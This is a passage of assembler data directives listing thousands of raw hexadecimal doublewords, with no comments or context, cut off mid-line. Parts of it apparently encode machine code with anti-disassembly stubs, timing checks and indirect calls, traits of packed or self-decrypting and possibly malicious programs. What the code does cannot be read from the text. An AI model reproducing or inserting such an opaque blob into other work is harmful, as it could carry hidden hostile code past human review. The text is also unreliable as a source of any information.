0C281C88Bh dd 6C50h, 33F6BF0Fh, 23C8BC0h, 5621ABBh, 91C7814Bh, 0F6519E8h dd 0EF81CFB7h, 2F074E02h, 6104BE66h, 0F609EF81h, 57F54123h dd 0CE9h, 0EA153000h, 0BDC521Bh, 0DB9D57DAh, 2048F35h dd 83F78B66h, 35BE04E8h, 813C59B2h, 0FF948CF8h, 19850FFFh dd 66000000h, 56E9D98Bh, 6F000000h, 0D4AD6905h, 77E27443h dd 4F0DD866h, 0C77996EBh, 2A890Fh, 0AE80000h, 28000000h dd 6333227Eh, 1FFEF111h, 14E844h, 33BC0000h, 28CBD455h dd 2FA3C254h, 93759CDDh, 0D5E44906h, 5E59F7E0h, 0FFFF64E9h dd 0D11FB1FFh, 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 0AE881h dd 57430000h, 0B8A180CCh, 4A1D1732h, 0FE95Eh, 0A7710000h dd 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h, 50C681F8h, 6600005Bh dd 1537C181h, 34FFC033h, 0CAB70F30h, 0AE95Bh, 43630000h dd 0BD71D075h, 3552EA32h, 19B2F381h, 81F90652h, 405C53EBh dd 0D0B65107h, 7CEB815Ah, 0B665372Eh, 0BF665365h, 48FE8A2h dd 0F9B70F06h, 58C0Fh, 0CEBA0000h, 816347FEh, 6C9DFEE8h dd 0FAC08159h, 0E9596C9Dh, 0Eh, 3A80DFD4h, 0E3A1ED3Ch dd 0F3C2842Dh, 0F881654Eh, 0FFFFA548h, 0FF90850Fh, 13E8FFFFh dd 20000000h, 4D2C5FCh, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh dd 8B66DBC1h, 8E0F59F7h, 4, 76DEBF66h, 5A8BC181h, 14E90000h dd 6E000000h, 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh dd 2BE123EAh, 57E681D2h, 0FF063BCFh, 0F5B0A34h, 58Ch, 0BBC6BE00h dd 0F3811227h, 2CD5AF93h, 0FE8h, 0FC79DD00h, 223DEBECh dd 50BE2170h, 0E8C3E951h, 13E9h, 6E4DAE00h, 0D30E9EABh dd 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0F2C3815Eh, 8110D3E0h dd 0A5E926F3h, 0BE97Dh, 0ADE0000h, 0D54497FCh, 0AC557BC0h dd 0F08153CBh, 25B637Fh, 0F11048Fh, 0B82h, 6E900h, 457C0000h dd 71097460h, 0FE9h, 7BA2A100h, 73D2E8Fh, 53A0A997h, 98357A6Ah dd 0E901EA83h, 0Dh, 9F935CACh, 988BFBD0h, 0CCA68A0h, 4A4A4AD0h dd 0A6A0FA81h, 850FFFFFh, 1Eh, 0AE9h, 2B351F00h, 0C89915E9h dd 0E9A29160h, 22h, 0BCCAF818h, 9F24254Ch, 0BF0FEA7Bh dd 0FF29E9F7h, 0BE22FFFFh, 6BC139D3h, 0D8679E22h, 0E03A0CD4h dd 6E8ABE2h, 7D000000h, 5C1C8F59h, 0BE85663h, 8E000000h dd 83F99B09h, 554417E3h, 0B70F57BFh, 5E5B5FDEh, 513F7FBBh dd 0A6C6810Ch, 0BB000061h, 575DCD01h, 183668h, 12E96000h dd 0F7000000h, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 0D82538ACh dd 0FDFDBF82h, 5A617DBEh, 66DF8B60h, 0D6B0E181h, 0F068B61h dd 884h, 28E0F00h, 0B5000000h, 43F081A7h, 0B7498C4Bh, 97E88170h dd 0E86901B5h, 0Dh, 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h dd 0E8815F17h, 6AC76BF5h, 0DF07BA60h, 0F500210h, 87h, 50615F00h dd 8F2EC180h, 83FE8A06h, 0E86004EEh, 0Dh, 0D0783BDh, 0A3AE7CB4h dd 0F421063Bh, 585E536Bh, 4B61F281h, 83611C57h, 850F01EAh dd 0FFFFFF89h, 83C08BF5h, 0B05BDBDh, 9750006h, 29D1BD83h dd 7400060Bh, 8B535019h, 421B8C0h, 85890000h, 60B2A35h dd 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h dd 421B853h, 85890000h, 60B2A35h, 0B0099D8Dh, 0D3FF060Dh dd 0C08B585Bh, 159D9D8Bh, 85C6060Bh, 60B2845h, 0B8526856h dd 0B5FF9CA8h, 60B1355h, 7D18858Dh, 0D0FF060Eh, 68046Ah dd 0FF000010h, 0B0F4DB5h, 0FF006A06h, 0FC085D0h, 0D85h dd 0B800h, 8D8D0000h, 60B7305h, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 0B0EB9BDh, 840F0006h dd 0Eh, 0EB99D8Bh, 858B060Bh, 60B26E5h, 52510389h, 4245858Dh dd 0D0FF060Bh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 60B2845h dd 6D396856h, 0B5FFD41Fh, 60B1355h, 7D18858Dh, 0D0FF060Eh dd 800068h, 52006A00h, 0C08BD0FFh, 5BDBD83h, 7500060Bh dd 0D1BD8309h, 60B29h, 53501974h, 21B8C08Bh, 89000004h dd 0B129985h, 819D8D06h, 0FF060DB3h dd 83585BD3h, 0B29D1BDh, 17740006h, 21B85350h, 89000004h dd 0B129985h, 229D8D06h, 0FF060DB0h, 8B585BD3h, 0B99D8DC0h dd 8B060B0Eh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h dd 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD20A7EAh dd 0FD208948h, 0FD209989h, 0FD2013EFh, 0FD20D6D9h, 0FD2034B7h dd 0FD20459Ch, 0FD20FC7Dh, 0FD20A068h, 0FD208E97h, 0FD209E6Ch dd 0FD2015C1h, 0FD20D722h, 0FD203503h, 0FD2044ECh, 0FD20FBA8h dd 0FD20A7FCh, 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch dd 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h dd 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A769B276h dd 0A7695A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h dd 701ABC75h, 0ECD1BBF0h, 0E1FFA673h, 707C86DDh, 0ECD130F0h dd 21FF6C73h, 707CE3D2h, 0ECD640F0h, 0E5FF3573h, 707C4FDDh dd 0ECD1B6F0h, 1DFF1E73h, 707CDAD2h, 0ECD1BDF0h, 19FF7B73h dd 707C68D2h, 0ECD34AF0h, 15FFD773h, 707C3ED2h, 0ECD09FF0h dd 11FF4273h, 707CF4D2h, 0ECD0ECF0h, 0DFFF073h, 707CADD2h dd 0ECD027F0h, 1FFA673h, 707C86D2h, 0ECD08EF0h, 9FF6C73h dd 707CE3D2h, 0ECD01DF0h, 5FF3573h, 707C4FD2h, 0ECD056F0h dd 1FF1E73h, 707CDAD2h, 0ECD056F0h, 0F1FF7B73h, 707C68DDh dd 0ECD06EF0h, 0EDFFD773h, 707C3EDDh, 0ECD062F0h, 0E9FF4273h dd 707CF4DDh, 0ECD1CCF0h, 0FDFFF073h, 707CADDDh, 0ECD12BF0h dd 0F9FFA673h, 707C86DDh, 0ECD6DBF0h, 0F5FF6C73h, 767CE3DDh dd 0F678C8F0h, 0A8FF3573h, 767C4FDDh, 0F66DF2F0h, 0A4FF1E73h dd 9C7CDADDh, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0FB6B151Ch dd 0F53FD525h, 552EADFDh, 34229164h, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h, 7C277975h, 0ECD33698h, 26FFA073h, 7D7C3ED2h dd 0ECDD4CC8h, 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 0A4EF8635h dd 0BD7CADDDh, 452B96FEh, 0FD7A2F7Ah, 5523028Ah, 48F7CD64h dd 0FB6B42A9h, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h dd 5523BA8Ah, 48F79164h, 0FB6B6CA9h, 50FCD1F8h, 1F23228Ah dd 26F787BCh, 0A07CADD2h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h dd 5779C1CDh, 552F708Ah, 3ED1F464h, 0FD78079Dh, 9BC2DA75h dd 9B5954CDh, 0A8EFD0DEh, 9B7C86DDh, 959208DEh, 0B7AE577h dd 8872F336h, 0A8EF866Eh, 4D7CADDDh, 0AD7954C5h, 552FBA8Ah dd 9B209164h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h dd 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h dd 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h dd 4DBA07F5h, 6885B5FFh, 0FB6B5A20h, 0FD5F1F2Fh, 3F71DA51h dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 0A4EF0D75h dd 707C68DDh, 0ECD29CC0h, 518A5D73h, 2D02C7Fh, 0ECD2C2E0h dd 0E5920873h, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh dd 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h dd 592438Ah, 4D7A5E75h, 5779252Dh, 2FFF69B6h, 7D7CDAD2h dd 0ECDD37C8h, 0EC0FF373h, 553EFCF8h, 152ABA64h, 0FD7A5C61h dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah dd 2FF787DFh, 7D7CADD2h, 0ECDD8CC8h, 0F10F2F73h, 553E12F8h dd 152ACD64h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB6B142Ch dd 51DBC3F8h, 0F9F02964h, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh dd 3AF1A875h, 15F9BB5Eh, 3E783571h, 552FCB8Ah, 4ACE2964h dd 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh dd 0FEF0E675h, 0F179BEB5h, 577825B5h, 0A8EF68B6h, 7D7CDADDh dd 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah, 0D6BDD52Fh dd 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 5523708Ah, 60F7F464h dd 0FB6BD14Dh, 3E39A0F8h, 0FD7A4ECDh, 0A4EFD075h, 7E7C86DDh dd 35F1CEB5h, 0A8EF1A89h, 577CE3DDh, 15B98E97h, 28543BEh dd 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h, 8831DB6h dd 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h, 0FB6B83C4h dd 7D86EAFCh, 0ECD29FCFh, 7975E573h, 0FD7AF2ECh, 0FD7A73CDh dd 0A4E84375h, 0BD7C4FDDh, 5527ADFCh, 35F19164h, 50FF79F8h dd 6F85E364h, 0FB6B5A20h, 1F3C7FFDh, 0FD6D0480h, 7F795E75h dd 0FB6B8728h, 84E01A35h, 7E7CDAD8h, 0FEF3E1B6h, 0FD644B22h dd 77797975h, 0FB6B1428h, 501DECF8h, 59892964h, 0FD722F2Bh dd 6F85CB75h, 0FB6B4D2Ch, 897E0AF6h, 447C7185h, 0FD7ABC72h dd 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h, 0FD765C44h dd 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h, 0F9722F75h dd 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h, 0FD7A7F9Dh dd 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h, 0C92CB389h dd 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h, 151AB2FEh dd 0FD7A2F75h, 6590162Fh, 707CDAD8h, 0ECD284CFh, 0F50F7973h dd 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 9CE7A226h, 7D7C86DDh dd 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h, 0FD7ABC9Dh dd 17FB0475h, 0FB6B82A4h, 551B25F8h, 80F1CD64h, 0FD725C7Dh dd 5989F275h, 0F9B8B014h, 40F7DC75h, 0FB6BF614h, 0F5C3EF46h dd 0E7A9775h, 9DB9AADFh, 551B58F8h, 0C2FBF464h, 0FC7B7874h dd 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh, 40F7ABB6h dd 0FB6B4D14h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h, 3DF19D14h dd 78F7EFFEh, 0FB6B3F1Bh, 0CA8BD08Ah, 0AF238D8Dh, 6A0611h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 97BD34C3h, 0E29511FFh, 0FCC864Eh, 1987h, 14E900h, 918C0000h dd 703FC36h, 0EA4658Dh, 907C7639h, 4A4A6CB7h, 0CE92E58h dd 0E000000h, 0BCA117Ah, 0A17D0958h, 891F7C13h, 0B174D8Dh dd 1985C706h, 0C0060B01h, 6A00005Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0E404C355h dd 6F1858Bh, 11E9060Bh, 53000000h, 0CAEDC7C6h, 51AFB01Fh dd 0F2EB7B4Eh, 0DC6A45CEh, 100985C7h, 60Bh, 0BE90000h dd 66000000h, 43054919h, 13955837h, 0B5FF3510h, 60B0105h dd 16718589h, 95FF060Bh, 60B0AC5h, 0B7F0DA81h, 8D015DBEh dd 60B0425h, 95FF006Ah, 60B32DDh, 2CEBC08Bh, 1C3F3210h dd 674D512Ch, 8DD0E181h, 646A7D88h, 0EEFEDE02h, 1080D584h dd 7813BD18h, 0BA6B39CDh, 210767A3h, 377C6BABh, 381B886Bh dd 7E8h, 0FDBF7B00h, 10786099h, 8E9h, 474AC300h, 24867633h dd 81665A46h, 817AEBDEh, 5F94C2h, 7E800h, 31610000h, 66A5DC94h dd 199D335Eh, 5E060B21h dd 17B7B8h, 92E1B900h, 3A8B26A0h, 0FEB70F60h, 38A0Fh, 0E8800000h dd 0C781616Ah, 6760CA61h, 81FCC580h, 1E01BDC7h, 0CC03B920h dd 0F7811D9Dh, 65507222h, 0E059D89h, 8957060Bh, 0B09959Dh dd 0F028F06h, 8Dh, 4EA8300h, 0C398589h, 0E883060Bh, 0F850F01h dd 0E9000000h, 29h, 14428D92h, 0E4ED9185h, 8C0FF8E9h, 6 dd 1998D03h, 8FE9060Bh, 5BFFFFFFh, 0B98F1C90h, 29682F6h dd 6D482528h, 2AE9E4h, 4C70000h, 24h, 0E800h, 815D0000h dd 11B026EDh, 24448B06h, 55858904h, 0B8060B06h, 0 dd 4DD78D8Dh, 0E1FF060Bh, 6754B8h, 59D8D00h, 0B8060B33h dd 1434h, 22A58589h, 0E8060Bh, 58000000h, 0D05h, 0E9038900h dd 1434h, 50Dh dup(0) dd 16EBh, 4 dup(0) dd 1010000h, 3C8h, 6A0611h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 5C0D3FC3h, 0DF7E0FE2h dd 8BC1230Ah, 0B2D7D95h, 0D7BA6606h, 0BF669095h, 0BB50F97Fh dd 26515C32h, 6A24B390h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0D81A1012h, 1D041811h dd 10E9E7E9h, 0EF000000h, 649CF6EBh, 9BE62A0Ch, 126ADB9Ch dd 6A581D2Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 2D190201h, 6B94A612h, 298D8B17h dd 8B060B0Dh, 0B1AAD95h, 42858D06h, 6A0611C6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 63F5C353h, 4B3A79F3h, 0CDB8D251h, 0EE9h, 0C9A8B400h dd 781F0257h, 83FDD9B9h, 0FAB40C7h, 689h, 0D5B52900h, 0F5060B2Eh dd 8B525050h, 66310FD0h, 585AD18Bh, 89240489h, 0B0CD985h dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 9B3DC357h, 0E948318Dh, 0Fh, 18D4843Fh dd 34567571h, 7B9719FCh, 0E811DDA2h, 7, 0F09435CEh, 5B552A15h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 5EF713C3h, 6CD62C0Bh, 95FFD68Bh, 60B2F21h dd 58E971B5h, 0F000006h, 0E8CBBFh, 5D000000h, 0C647ED81h dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F44B9C3h, 0C88h, 68A0F00h, 29000000h, 0B2ED58Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 7B027D5h, 846DE890h, 9D2B8C82h, 60B2E25h dd 2F39BB66h, 4E8h, 0FA000h, 8B566000h, 57515ECEh, 50615E5Ah dd 0A6A4BB66h, 424448Bh, 7E9h, 886DA400h, 79D3FE5Dh, 0D38B008Bh dd 4244489h, 8B665250h, 60310FD8h, 0DA8BD58Ah, 58585A61h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 76C35343h dd 0A1144EE0h, 95FFF984h, 60B32DDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0FC35747h, 0C23C4143h, 8D0BEF7Bh dd 11C4A2B5h, 0FA3EBB06h, 6C72FDAh, 6D676552h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 0F0FE2825h dd 66AF7E5Fh, 56DAEA81h, 6F0446C7h, 666C636Eh, 0C748A0BAh dd 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0A6CB3AC3h, 7D91F5B3h, 6A178DF9h dd 0A2858D00h, 0E80611C4h, 9, 0C409E118h, 3BFBA081h, 618D8BFEh dd 5B060B23h, 8B525050h, 50310FD3h, 56A6BF66h, 89585A5Ah dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 62C4D4C3h, 0FE8BBF18h, 1F718529h, 8589060Bh dd 60B1A59h, 0EE595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 3B0DECC3h, 295148D8h dd 0B33819Dh, 0F9B55F06h, 840FC00Bh, 4Ch, 27B59D8Bh, 0BD8B060Bh dd 60B15B5h, 42BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 8372A7D0h, 362662D2h dd 11E9302Bh, 5C000000h, 0FBD09F93h, 68A0988Bh, 4ED00CCAh dd 894FFB04h, 4E8h, 12C00h, 0DFBF5000h, 8B4B2C41h, 50042444h dd 2F9FBB52h, 310F7225h, 517D00B9h, 8B585A50h, 892BB700h dd 0BF042444h, 6845430Fh, 4DDB8058h, 32DD95FFh, 6A060Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 56F954C3h, 0B0F32C0h, 0B1AAD95h, 0A2B58D06h, 30611C4h dd 0B2F5D9Dh, 3106C706h, 0E8363438h, 0Bh, 5CB57CB1h, 0E3E7E8CAh dd 8162C3DBh, 61164ED2h, 46C75F54h, 342D3704h, 52006A31h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 583351DAh, 46C760A1h, 8, 0CE800h, 91260000h, 43457188h dd 0DB188EF7h, 0F516AE6h, 85h, 8A5F5900h, 0F006AF4h, 688h dd 6D8D0300h, 66060B28h, 858DF98Bh, 611C4A2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 19C35242h, 6875CBBFh dd 0AFBE4649h, 13E950h, 89900000h, 2ECDB777h, 5CA8F193h dd 0D59E604Fh, 9A1DE7A2h, 50905A12h, 9E8h, 57BE3E00h, 0B9631B21h dd 1DB37B62h, 90505959h, 11E960h, 0CD790000h, 0B0DD3B30h dd 0CE8C565Dh, 0B868CEFFh, 8B0AAF23h, 0B20BDBDh, 95FF6106h dd 60B0EE5h, 59BD8BF5h, 0B060B2Eh, 56840FC0h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0CAABC353h, 0E5CB4FEDh, 800884C3h, 51E9FAC9h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 43B2C355h, 21409D3Ah, 31517F2Eh dd 0B12BDBDh, 1BF6806h, 8E0F9A90h, 14h, 0E810Fh, 9E90000h dd 91000000h, 0E386BFFEh, 20CC7768h, 6D240481h, 0FF656FFFh dd 0B32DD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 66C6B392h, 8D65ABBAh, 11C4A2B5h dd 0C7ABB606h, 6C694606h, 919D8965h, 0F060B29h, 586h, 7C77B900h dd 46C70DDFh, 6E6F6D04h, 38C0F63h, 0F000000h, 46C7F9B7h dd 73616C08h, 3D9D3373h, 0C7060B10h, 0C46h, 8D310000h dd 60B162Dh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0D8EECAC3h, 0F8319D85h, 8B66613Dh dd 0A2858DD0h, 6A0611C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 27BCC357h, 487EBF66h dd 2A118589h, 6090060Bh, 5061DDB0h, 0D98B6660h, 6A9061h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 4BAFCAC3h, 0D14FD334h, 0FFE6C418h, 0B0EE595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8B60AD4Eh, 0E9958BD3h, 61060B23h, 840FC00Bh, 99h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3EC35747h, 424CA399h dd 19840F1Dh, 0E9000000h, 14h, 0CA51F3BBh, 0FC85C14Bh dd 0F547EC78h, 7EB3A19Dh, 6F55F49Bh, 0F9BF0F60h, 0D840Fh dd 7E80000h, 27000000h, 0F8D12F87h, 6159AE5Dh, 75E963B1h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 5DA5C350h, 624A14B9h, 14E9h, 0EA88A400h dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 0FA00E905h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 21F7FCC3h, 8E83C3Bh, 0BA000000h, 0F31ACD6Bh dd 0B981A906h, 243DFBCEh, 0DF8B6659h, 7305B58Dh, 0BB66060Bh dd 0B8FCCCh, 0E9000000h, 6, 62F2F7B7h, 0E6FF3A06h, 8B84EB80h dd 3BE9C1h, 8B600000h, 0B14F1BDh, 4EF8306h, 0C18BC933h dd 0B88320BBh, 4C783EDh dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h dd 100F9h, 0D3820F00h, 61FFFFFFh, 0E8C88BC3h, 12h, 8F1F6F26h dd 0C8E72702h, 0EC866EEEh, 5B1ECCB5h, 8D8927CFh, 60B090Dh dd 12E959h, 17240000h, 62828A8Fh, 0D3353776h, 0E9E589FEh dd 0B0D2991Fh, 6A80C181h, 85890000h, 60B3281h, 5A2163B8h dd 6C0815Eh, 89A1A5F9h, 0B07C5BDh, 8B31FF06h, 0B22E99Dh dd 0BD8B5E06h, 60B05F5h, 9E49F681h, 952924AEh, 60B29B9h dd 0A4D0F681h, 0BD8B5937h, 60B0241h, 4CE5F681h, 8E93D9Ch dd 16000000h, 0DCF2103h, 8957B86Ch, 0DE831h, 0F0D0000h dd 45FF2B53h, 111BFFC1h, 0B6683879h, 0E9835AA6h, 850F4804h dd 18h, 0CA01F281h, 2DE91A34h, 29000000h, 48AEF3A2h, 0DA354CACh dd 0A1583351h, 68B0Fh, 0BD8B0000h, 60B2885h, 0FFFF7CE9h dd 0FDD15AFFh, 8008B3CBh, 3B8EB88Dh, 4A23A583h, 2DCACAFEh dd 0A5A9A80Bh, 32118A4Fh, 0D5ABA80Bh, 32E975EAh, 0BB57A80Bh dd 5DBA8A4Fh, 0BB0C57AEh, 33D98A4Fh, 0D5ABA80Bh, 33A075EAh dd 0B872A80Bh, 30228A4Fh, 0B8FCA80Bh, 30A48A4Fh, 0D5ABA80Bh dd 2F2575EAh, 3B9A43D4h, 60C00313h, 0A752B99Ch, 0B38AD390h dd 0ECD12157h, 2F439BD8h, 3B9B18D4h, 68C00313h, 0A752B99Ch dd 0B3958290h, 0F8D12157h, 2F439BD8h, 3B84F7D4h, 74C00313h dd 0A752B99Ch, 0B3953E90h, 0F4D12157h, 2F439BD8h, 3B8450D4h dd 40C00313h, 0A752B99Ch, 0B394CB90h, 0C0D12157h, 2F439BD8h dd 3B852AD4h, 4CC00313h, 0A752B99Ch, 0B3944990h, 0D8D12157h dd 2F439BD8h, 3B86ACD4h, 54C00313h, 0A752B99Ch, 0B397B790h dd 0D0D12157h, 0C3439BD8h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h dd 0A2458AFDh, 0C0D5F251h, 0A45444B0h, 2AA8ED96h, 29458A15h dd 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h dd 63CE75EAh, 3D893AAEh, 42848C1Eh, 2211AB53h, 5D55FFEAh dd 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh dd 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh dd 0EA660351h, 2FEE27BFh, 3BFDD7DBh, 12947513h, 0A0D90201h dd 0A454236Ah, 0A1EC79AEh, 941AE51h, 832B22DCh, 73BA8C04h dd 2ADF1037h, 28C82173h, 2C45012Eh, 2BFD5BEAh, 81508C15h dd 0B3A0098h, 0FBABAE40h, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h dd 0A4544570h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h dd 2C5FAAE0h, 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh dd 0A454236Ah, 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h dd 0A2458A15h, 96BE290Bh, 29439BDAh, 57DFA024h, 5E004D19h dd 2A54A851h, 13D77553h, 0A152A353h, 69CE19CDh, 0B9979BFCh dd 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah, 9A0D79AEh, 1A232094h dd 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h dd 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h dd 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h, 0D5A82851h dd 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h, 0A2458690h dd 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh, 4BA8D5D8h dd 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh, 0AE38011Dh dd 2AA8ED96h, 0E458A15h, 22B769C2h, 62765826h, 78C22FDh dd 0A2458AD5h, 25AB54D1h, 0A2459391h, 2A5D1151h, 53B28A15h dd 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h, 577F0391h dd 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h dd 57DFA024h, 5E004D19h, 2A54A851h, 229D00B9h, 0E1D4A7B2h dd 8860085h, 832B22DCh, 73BA8C04h, 0A7FEF8E1h, 0B3ECF59Fh dd 0A0855757h, 0DF6E20D6h, 0D629215Dh, 5E000174h, 2A5C6A98h dd 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h dd 2A54AFE9h, 7FD77515h, 2652A346h, 28C82045h, 2C45012Eh dd 2BF55BEAh, 86949BFBh, 622E8531h, 8050AC59h, 89EFAEA5h dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h dd 294DFF9Eh, 6F93A42Ch, 0A2458AE9h, 0D5FE0451h, 0A9473B87h dd 868C2357h, 2FEF4917h, 3BFDD7DBh, 0C4947513h, 4CBD28E9h dd 88600BEh, 0A358D57Ah, 29247668h, 0E89D5414h, 29108A1Dh dd 0D6902BBDh, 0AA300175h, 0ED58D5DAh, 0A2457650h, 80F8A851h dd 0A0F418EAh, 0E2DFAE5Ah, 88558B9h, 832B32DCh, 71BA8C04h dd 0E3941037h, 63CF2173h, 262983FBh, 